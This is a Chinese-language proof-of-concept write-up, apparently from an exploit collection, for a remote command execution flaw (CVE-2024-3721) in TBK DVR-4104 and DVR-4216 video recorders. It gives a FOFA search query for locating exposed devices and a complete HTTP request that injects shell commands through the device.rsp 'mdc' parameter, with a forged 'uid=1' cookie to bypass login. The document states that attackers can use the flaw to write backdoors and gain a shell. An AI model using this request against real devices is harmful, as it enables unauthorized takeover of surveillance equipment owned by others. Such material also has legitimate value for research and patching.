POC/wpoc/TBK/TBKDVR硬盘录像机device存在远程代码执行漏洞(CVE-2024-3721).md

# TBK DVR硬盘录像机device存在远程代码执行漏洞(CVE-2024-3721)

**一、漏洞简介**  
 TBK DVR硬盘录像机是专业的视频监控设备，支持高清录制、远程监控和智能分析等功能，为各种场所提供稳定可靠的安全监控解决方案。该产品device.rsp 接口处存在命令执行漏洞，未经身份验证的远程攻击者可以利用此漏洞绕过cookie认证执行任意系统指令，写入后门文件，获取录像机shell权限。    
**二、影响版本**  
TBK DVR-4104

TBK DVR-4216  
**三、资产测绘**  
●fofa `"Location: /login.rsp"`![1715357452117-0503040a-73a2-4977-b9b6-9a4cacebc1c9.png](./img/nL3f78cvd3-lc5rB/1715357452117-0503040a-73a2-4977-b9b6-9a4cacebc1c9-380767.png)  
**四、漏洞复现**

```yaml
GET /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=uname%20-a;pwd;ls HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Cookie: uid=1
```

![1715357380708-66eba540-fa97-4730-8826-a3a88312db04.png](./img/nL3f78cvd3-lc5rB/1715357380708-66eba540-fa97-4730-8826-a3a88312db04-601760.png)





> 更新: 2024-05-13 11:48:42  
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/sg4z4l6xsevsochr>